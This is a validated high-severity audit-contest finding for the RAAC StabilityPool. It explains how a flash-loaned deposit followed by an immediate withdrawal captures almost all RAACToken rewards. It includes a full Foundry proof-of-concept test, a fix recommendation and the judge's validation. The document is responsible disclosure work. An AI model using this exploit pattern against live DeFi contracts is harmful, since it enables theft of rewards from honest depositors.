Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

A malicious user can steal almost all of the RAACToken rewards minted to StabilityPool

Summary

A malicious user can steal almost all of the RAACToken rewards minted to StabilityPool.

Vulnerability Details

Users can deposit RToken into StabilityPool to mint DeToken.

StabilityPool.sol::deposit()

rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);

DeToken holders are eligible for RAACToken rewards minted to StabilityPool through ticking.

StabilityPool::calculateRaacRewards()

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

The problem is user can deposit and immediately withdraw, as a result, a malicious user can flashloan a large amount of RToken(or CrvUSD to mint RToken), then deposits into StabilityPool to receive DeToken, then withdraw with almost all of the RAACToken rewards minted to the contract, hence efficiently steal the rewards.

Impact

RAACToken rewards minted to StabilityPool are stolen, left honest users with no gains.

POC

Please run forge test --mt testAudit_StealRAACTokenRewards.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console, stdError} from "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "../contracts/libraries/math/WadRayMath.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/DeToken.sol";
import "../contracts/core/tokens/RAACToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
import "../contracts/core/minters/RAACMinter/RAACMinter.sol";
contract Audit is Test {
using WadRayMath for uint256;
using SafeCast for uint256;
address owner = makeAddr("Owner");
LendingPool lendingPool;
StabilityPool stabilityPool;
RAACHousePrices raacHousePrices;
crvUSDToken crvUSD;
RToken rToken;
DebtToken debtToken;
DEToken deToken;
RAACToken raacToken;
RAACNFT raacNft;
RAACMinter raacMinter;
function setUp() public {
vm.warp(1 days);
raacHousePrices = new RAACHousePrices(owner);
crvUSD = new crvUSDToken(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
deToken = new DEToken("DEToken", "DEToken", owner, address(rToken));
raacToken = new RAACToken(owner, 100, 50);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
lendingPool.transferOwnership(owner);
// Deploy stabilityPool Proxy
bytes memory data = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(owner),
address(crvUSD),
address(lendingPool)
);
address stabilityPoolProxy = address(
new TransparentUpgradeableProxy(
address(new StabilityPool(owner)),
owner,
data
)
);
stabilityPool = StabilityPool(stabilityPoolProxy);
raacMinter = new RAACMinter(
address(raacToken),
address(stabilityPool),
address(lendingPool),
owner
);
vm.startPrank(owner);
raacHousePrices.setOracle(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(raacMinter), true);
raacToken.manageWhitelist(address(stabilityPool), true);
deToken.setStabilityPool(address(stabilityPool));
stabilityPool.setRAACMinter(address(raacMinter));
lendingPool.setStabilityPool(address(stabilityPool));
vm.stopPrank();
vm.label(address(crvUSD), "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(deToken), "DEToken");
vm.label(address(raacToken), "RAACToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
vm.label(address(stabilityPool), "StabilityPool");
vm.label(address(raacMinter), "RAACMinter");
}
function testAudit_StealRAACTokenRewards() public {
// Alice deposits liquidity to receive RToken
uint256 depositAmount = 1000e18;
address alice = makeAddr("Alice");
crvUSD.mint(alice, depositAmount);
vm.startPrank(alice);
crvUSD.approve(address(lendingPool), depositAmount);
lendingPool.deposit(depositAmount);
vm.stopPrank();
// Alice deploys into StabilityPool
uint256 aliceRTokenBalane = rToken.balanceOf(alice);
vm.startPrank(alice);
rToken.approve(address(stabilityPool), aliceRTokenBalane);
stabilityPool.deposit(aliceRTokenBalane);
vm.stopPrank();
vm.warp(block.timestamp + 1 days);
vm.roll(block.number + 7200);
// tick
raacMinter.tick();
// Alice expects to recevie approximately 1000 RAACToken as rewards
assertApproxEqAbs(stabilityPool.calculateRaacRewards(alice), 1000e18, 1e6);
// Bob deposits into StabilityPool and immediately withdraw
address bob = makeAddr("Bob");
uint256 flashloanAmount = 10000000e18;
crvUSD.mint(bob, flashloanAmount);
vm.startPrank(bob);
crvUSD.approve(address(lendingPool), flashloanAmount);
lendingPool.deposit(flashloanAmount);
uint256 bobRTokenBalane = rToken.balanceOf(bob);
rToken.approve(address(stabilityPool), bobRTokenBalane);
stabilityPool.deposit(bobRTokenBalane);
uint256 bobDeTokenBalance = deToken.balanceOf(bob);
stabilityPool.withdraw(bobDeTokenBalance);
vm.stopPrank();
// Bob steals almost all the rewards
assertApproxEqAbs(raacToken.balanceOf(bob), 1000e18, 0.1e18);
// There is very few rewards for Alice to claim
assertApproxEqAbs(stabilityPool.calculateRaacRewards(alice), 0.1e18, 0.01e18);
}
}

Tools Used

Manual Review

Recommendations

It is recommended to implement a withdraw delay.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!